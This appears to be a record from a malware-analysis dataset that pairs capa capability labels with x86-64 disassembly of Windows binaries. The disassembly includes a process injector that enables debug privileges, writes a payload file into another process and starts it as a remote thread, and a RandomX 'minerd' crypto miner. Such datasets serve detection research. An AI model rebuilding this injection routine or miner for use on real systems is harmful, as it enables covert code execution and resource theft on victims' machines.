joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400012a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0xb8
mov dword [rsp + 0x50], 0xffffffff
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x80], rax
lea rdx, str.RtlCreateUserThread
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x88], rax
mov edx, dword [rsp + 0xc0]
lea rcx, str.____opening_process__li_n
call fcn.1400016f0
mov r8d, dword [rsp + 0xc0]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14000132b
xor eax, eax
jmp 0x1400014bb
lea rcx, str.____allocating_memory_for_payload._n
call fcn.1400016f0
mov eax, dword [rsp + 0xd0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x68], rax
mov rdx, qword [rsp + 0x68]
lea rcx, str.____writing_code_to__p._n
call fcn.1400016f0
mov eax, dword [rsp + 0xd0]
lea rcx, [rsp + 0x90]
mov qword [rsp + 0x20], rcx
mov r9d, eax
mov r8, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rsp + 0xd0]
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov r8d, eax
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rcx, str.____press_any_key_to_continue._n
call fcn.1400016f0
call fcn.1400064c0
lea rcx, str.____creating_new_thread._n
call fcn.1400016f0
lea rax, [rsp + 0x98]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [rsp + 0x88]
mov dword [rsp + 0x50], eax
mov edx, dword [rsp + 0x50]
lea rcx, str.____nt_status_is__lx_n
call fcn.1400016f0
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.____freeing_memory._n
call fcn.1400016f0
mov eax, dword [rsp + 0xd0]
mov r9d, 0xc000
mov r8d, eax
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x50], 0
jne 0x1400014af
mov dword [rsp + 0x60], 1
jmp 0x1400014b7
mov dword [rsp + 0x60], 0
mov eax, dword [rsp + 0x60]
add rsp, 0xb8
ret
Function at 0x1400014d0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
je 0x14000157c
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
add eax, 0x10
mov eax, eax
mov ecx, eax
call fcn.140005cb4
mov rcx, qword [rsp + 0x68]
mov qword [rcx], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
mov rax, qword [rsp + 0x68]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x44]
add rsp, 0x58
ret

Function at 0x140001590
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
cmp dword [rsp + 0x50], 3
je 0x1400015b7
lea rcx, str._n____usage:_inject__process_id__process_name___loader.bin__n
call fcn.1400016f0
xor eax, eax
jmp 0x140001681
lea rcx, str.SeDebugPrivilege
call section..text
test eax, eax
jne 0x1400015d3
lea rcx, str.____cannot_enable_SeDebugPrivilege._n
call fcn.1400016f0
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rcx + rax]
call fcn.140006110
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x140001610
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rcx + rax]
call fcn.1400011e0
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x140001627
lea rcx, str.____unable_to_obtain_process_id._n
call fcn.1400016f0
xor eax, eax
jmp 0x140001681
mov eax, 8
imul rax, rax, 2
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rcx + rax]
call fcn.1400014d0
mov eax, eax
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140001662
lea rcx, str.____unable_to_read_payload._n
call fcn.1400016f0
xor eax, eax
jmp 0x140001681
mov r8d, dword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x20]
call fcn.1400012a0
mov rcx, qword [rsp + 0x30]
call fcn.140005ca0
xor eax, eax
add rsp, 0x48
ret

Function at 0x140002230
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000227a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000227a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000227a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000227a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000227a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000227c
xor al, al
add rsp, 0x28
ret

Function at 0x140009dd8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140009bd4
Function at 0x14000f398
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000f3c8
xor eax, eax
jmp 0x14000f48b
mov rbp, rbx
cmp word [rax], si
je 0x14000f3ed
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000f3d4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000f3d0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000f2b8
movsxd r14, eax
test eax, eax
jne 0x14000f42b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000f3c1
mov rcx, r14
call fcn.14000a718
mov rdi, rax
test rax, rax
jne 0x14000f444
xor ecx, ecx
call fcn.14000a6dc
jmp 0x14000f420
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000f2b8
test eax, eax
jne 0x14000f475
mov rcx, rdi
call fcn.14000a6dc
jmp 0x14000f47f
xor ecx, ecx
call fcn.14000a6dc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140011a7c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1400257c0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140011ad3
cmp word [rdx], r13w
jne 0x140011ad3
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140011ad8
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140011bfd
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140011c1e
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140011b11
mov rdx, r9
mov word [rbx], cx
jmp 0x140011b38
cmp r9, r8
jae 0x140011b48
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140011af2
jmp 0x140011bfd
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140011bf2
cmp dword [rsp + 0x80], esi
je 0x140011bf2
lea r8, [0x1400257c0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140011bca
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140011b9a
mov word [rbx], r13w
jmp 0x140011bfa
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140011ba7
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140011bfa
cmp word [rsp + 0x70], r13w
jne 0x140011bd7
cmp rbx, r14
je 0x140011b94
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1400159f4
cmp word [rsp + 0x70], r13w
je 0x140011bfd
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1400257c0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140011bf7
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140011bfd
Function at 0x14001420c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140014222
mov al, 1
jmp 0x140014282
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140014233
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140014280
mov ecx, dword [rcx + 0x18]
nop
call fcn.14000fcb8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140014280
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140014280
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140014280
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140014282
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400152c0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000ab94
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14001534a
cmp byte [rbp - 0x21], r15b
je 0x140015345
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140015380
call fcn.14000b868
test eax, eax
jne 0x14001536c
cmp byte [rbp - 0x21], r15b
je 0x140015364
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140015380
cmp byte [rbp - 0x21], r15b
je 0x14001537d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000da04
test eax, eax
jne 0x140015420
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000ab94
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400153bf
cmp byte [rbp - 0x21], r15b
je 0x1400153f4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400153f4
call fcn.14000b868
test eax, eax
jne 0x1400153e0
cmp byte [rbp - 0x21], r15b
je 0x1400153d9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400153f4
cmp byte [rbp - 0x21], r15b
je 0x1400153f1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000da04
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140015420
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140015423
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140015431
mov rcx, rdi
call fcn.14000a6dc
cmp byte [rbp + 0x3f], r15b
je 0x140015440
mov rcx, qword [rbp + 0x27]
call fcn.14000a6dc
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x1400179f0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140017a18
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140017a18
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140185430]
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rdi
xor eax, eax
lock cmpxchg qword [rbx], rsi
jne 0x1400011b0
mov rsi, qword [0x140185440]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x1401b9008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x140185390]
mov rax, qword [rax]
test rax, rax
je 0x14000121f
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call fcn.1400a9950
mov rcx, qword [0x1401854f0]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140185420]
lea rcx, section..text
mov qword [rdx], rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.1400a9760
mov ebx, dword [0x1401b9028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r12, qword [0x1401b9020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
nop dword [rax]
mov rcx, qword [r12 + rbx]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x1401b9020], rbp
call fcn.1400a9560
mov rax, qword [0x1401853b0]
mov r8, qword [0x1401b9018]
mov ecx, dword [0x1401b9028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x1401b9020]
call fcn.140162520
mov ecx, dword [0x1401b900c]
mov dword [0x1401b9010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x1401b9008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140185440]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011dd
mov ecx, 0x1f
call fcn.1400b5510
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011fc
mov rdx, qword [0x140185490]
mov rcx, qword [0x140185480]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001204
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001204
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x1401b9010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x1401854b0]
mov rcx, qword [0x1401854a0]
mov dword [rsi], 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x1400011f1
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
sub rsp, 0x28
mov rax, qword [0x1401853d0]
mov dword [rax], 1
call fcn.140001180
nop
nop
add rsp, 0x28
ret
Function at 0x140001500
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, ecx
test ecx, ecx
je 0x14000152c
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rdx, str.Try__minerd___help_for_more_information._n
mov rcx, rax
call fcn.140001480
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
lea rcx, str.Usage:_minerd__OPTIONS__nOptions:_n___a____algoALGO_______specify_the_algorithm_to_use_n__________________________randomx___RandomX__default__n________largepages______enable_large_pages_n________softaes_________disable_hardware_AES_n________no_batch________disable_batch_mode_n________no_affinity_____disable_thread_binding_n___o____urlURL_________URL_of_mining_server_n___O____userpassU:P____username:password_pair_for_mining_server_n___u____userUSERNAME___username_for_mining_server_n___p____passPASSWORD___password_for_mining_server_n________certFILE_______certificate_for_mining_server_using_SSL_n___x____proxy_PROTOCOL:___HOST_:PORT___connect_through_a_proxy_n___t____threadsN_______number_of_miner_threads__default:_number_of_processors__n___r____retriesN_______number_of_times_to_retry_if_a_network_call_fails_n___________________________default:_retry_indefinitely__n___R____retry_pauseN___time_to_pause_between_retries__in_seconds__default:_30__n___T____timeoutN_______timeout_for_long_polling__in_seconds__default:_none__n___s____scantimeN______upper_bound_on_time_spent_scanning_current_work_when_n__________________________long_polling_is_unavailable__in_seconds__default:_5__n________coinbase_addrADDR__payout_address_for_solo_mining_n________coinbase_sigTEXT__data_to_insert_in_the_coinbase_when_possible_n________no_longpoll_____disable_long_polling_support_n________no_getwork______disable_getwork_support_n________no_gbt__________disable_getblocktemplate_support_n________no_stratum______disable_X_Stratum_support_n________no_redirect_____ignore_requests_to_change_the_URL_of_the_mining_server_n___q____quiet___________disable_per_thread_hashmeter_output_n___D____debug___________enable_debug_output_n___P____protocol_dump___verbose_dump_of_protocol_level_activities_n________benchmark_______run_in_offline_benchmark_mode_n________noncesN________run_N_nonces_in_benchmark__default:_1000__n___c____configFILE_____load_a_JSON_format_configuration_file_n___V____version_________display_version_information_and_exit_n___h____help____________display_this_help_text_and_exit_n
call fcn.1400014b0
jmp 0x140001525
Function at 0x1400074e0
Capabilities:
Get socket status

Disassembly:
sub rsp, 0x258
xor r9d, r9d
xor r8d, r8d
lea rax, [rsp + 0x38]
mov qword [rsp + 0x48], rcx
add ecx, 1
mov dword [rsp + 0x38], edx
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x3c], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
setg al
add rsp, 0x258
ret
mov rax, qword [rcx + 0x128]
cmp byte [rax], 0
je 0x14000a348
mov eax, 1
ret
mov rcx, qword [rcx + 0x118]
jmp 0x1400074e0

Function at 0x140007530
Capabilities:
Get socket status

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x258
xor edi, edi
mov rsi, rcx
mov rcx, rdx
lea r14, [rsp + 0x40]
mov rbp, rdx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea r13, [rsp + 0x30]
lea r15, [rsp + 0x38]
mov r12, qword [sym.imp.WS2_32.dll_select]
mov byte [rbp + rax], 0xa
lea rbx, [rax + 1]
nop word [rax + rax]
mov rcx, qword [rsi + 0x118]
xor r9d, r9d
xor edx, edx
mov r8, r14
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x48], rcx
add ecx, 1
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x20], r13
call r12
test eax, eax
jle 0x1400075e5
mov rcx, qword [rsi + 8]
lea rdx, [rbp + rdi]
mov r9, r15
mov r8, rbx
call fcn.140048ea0
test eax, eax
jne 0x1400075e0
mov rax, qword [rsp + 0x38]
sub rbx, rax
add rdi, rax
test rbx, rbx
jg 0x140007578
mov eax, 1
jmp 0x1400075e7
cmp eax, 0x51
je 0x140007578
xor eax, eax
add rsp, 0x258
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000a330
Capabilities:
Get socket status

Disassembly:
sub rsp, 0x258
xor r9d, r9d
xor r8d, r8d
lea rax, [rsp + 0x38]
mov qword [rsp + 0x48], rcx
add ecx, 1
mov dword [rsp + 0x38], edx
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x3c], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
setg al
add rsp, 0x258
ret
mov rax, qword [rcx + 0x128]
cmp byte [rax], 0
je 0x14000a348
mov eax, 1
ret
mov rcx, qword [rcx + 0x118]
jmp 0x1400074e0
Function at 0x14000c1b0
Capabilities:
Hash data using sha256

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x60
vmovdqu xmm1, xmmword [0x14016f740]
vmovdqu xmm2, xmmword [0x14016f750]
xor r8d, r8d
lea rdi, [rsp + 0x20]
mov rbx, rcx
mov rsi, rdx
vmovdqu xmmword [rsp + 0x20], xmm1
mov rcx, rdi
vmovdqu xmmword [rsp + 0x30], xmm2
call fcn.14002a6c0
xor r8d, r8d
lea rdx, [rsi + 0x40]
mov rcx, rdi
call fcn.14002a6c0
xor edx, edx
xor ecx, ecx
mov eax, 0x80000000
vmovdqu xmm3, xmmword [0x14016f740]
vmovdqu xmm4, xmmword [0x14016f750]
mov qword [rsp + 0x48], rdx
movabs r8, 0x10000000000
mov qword [rsp + 0x50], rcx
mov rdx, rdi
mov rcx, rbx
mov qword [rsp + 0x58], r8
xor r8d, r8d
vmovdqu xmmword [rbx], xmm3
vmovdqu xmmword [rbx + 0x10], xmm4
mov qword [rsp + 0x40], rax
call fcn.14002a6c0
vmovdqu ymm5, ymmword [rbx]
vpshufb ymm0, ymm5, ymmword [0x14016f760]
vmovdqu ymmword [rbx], ymm0
vzeroupper
add rsp, 0x60
pop rbx
pop rsi
pop rdi
ret
Function at 0x140013a50
Capabilities:
Hash data using sha512

Disassembly:
push rdi
sub rsp, 0x40
mov r8, rcx
test rcx, rcx
je 0x140013b39
lea rax, [rdx - 1]
cmp rax, 0x3f
ja 0x140013b20
lea rdi, [rcx + 0x48]
mov byte [rsp], dl
xor eax, eax
movabs r10, 0x510e527fade682d1
and rdi, 0xfffffffffffffff8
mov byte [rsp + 0x11], 0
movabs r11, 0x9b05688c2b3e6c1f
movabs r9, 0x1f83d9abfb41bd6b
mov qword [rsp + 0x12], 0
vmovdqu ymm0, ymmword [0x14016fde0]
mov qword [rsp + 1], 0x10100
mov qword [rsp + 9], 0
mov qword [rsp + 0x18], 0
mov qword [rcx + 0x40], 0
mov qword [rcx + 0xe8], 0
sub ecx, edi
lea ecx, [rcx + 0xf0]
shr ecx, 3
rep stosq qword [rdi], rax
mov qword [r8 + 0x20], r10
movabs rcx, 0x5be0cd19137e2179
mov qword [r8 + 0x28], r11
vpxor ymm1, ymm0, ymmword [rsp]
mov qword [r8 + 0x30], r9
mov qword [r8 + 0x38], rcx
mov dword [r8 + 0xe4], edx
vmovdqu ymmword [r8], ymm1
vzeroupper
add rsp, 0x40
pop rdi
ret
cmp byte [rcx + 0xe8], 0
je 0x140013b31
mov qword [rcx + 0x58], 0xffffffffffffffff
mov qword [r8 + 0x50], 0xffffffffffffffff
mov eax, 0xffffffff
jmp 0x140013b1a

Function at 0x140013f00
Capabilities:
Hash data using sha512

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0xe0
mov r10, r8
mov rbx, rcx
mov r8, r9
test rcx, rcx
je 0x140014040
lea rax, [rdx - 1]
cmp rax, 0x3f
ja 0x140014027
lea rcx, [r9 - 1]
cmp rcx, 0x3f
ja 0x140014027
test r10, r10
je 0x140014027
lea rdi, [rbx + 0x48]
mov ecx, ebx
xor eax, eax
mov byte [rsp + 0x20], dl
and rdi, 0xfffffffffffffff8
mov byte [rsp + 0x21], r9b
movabs rsi, 0x510e527fade682d1
movabs r9, 0x9b05688c2b3e6c1f
sub ecx, edi
mov qword [rsp + 0x32], 0
movabs r11, 0x1f83d9abfb41bd6b
vmovdqu ymm0, ymmword [0x14016fde0]
mov qword [rsp + 0x38], 0
add ecx, 0xf0
mov qword [rsp + 0x2a], 0
shr ecx, 3
mov qword [rsp + 0x22], 0x101
mov qword [rbx + 0x40], 0
mov qword [rbx + 0xe8], 0
rep stosq qword [rdi], rax
mov qword [rbx + 0x20], rsi
lea rsi, [rsp + 0x60]
movabs rcx, 0x5be0cd19137e2179
mov qword [rbx + 0x38], rcx
mov rdi, rsi
mov ecx, 0x10
mov qword [rbx + 0x28], r9
mov qword [rbx + 0x30], r11
vpxor ymm1, ymm0, ymmword [rsp + 0x20]
rep stosq qword [rdi], rax
mov dword [rbx + 0xe4], edx
mov rcx, rsi
mov rdx, r10
vmovdqu ymmword [rbx], ymm1
vzeroupper
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rdx, rsi
mov rcx, rbx
mov r8d, pe_nt_image_headers64
call fcn.140013b40
xor eax, eax
add rsp, 0xe0
pop rbx
pop rsi
pop rdi
ret
cmp byte [rbx + 0xe8], 0
je 0x140014038
mov qword [rbx + 0x58], 0xffffffffffffffff
mov qword [rbx + 0x50], 0xffffffffffffffff
mov eax, 0xffffffff
jmp 0x14001401c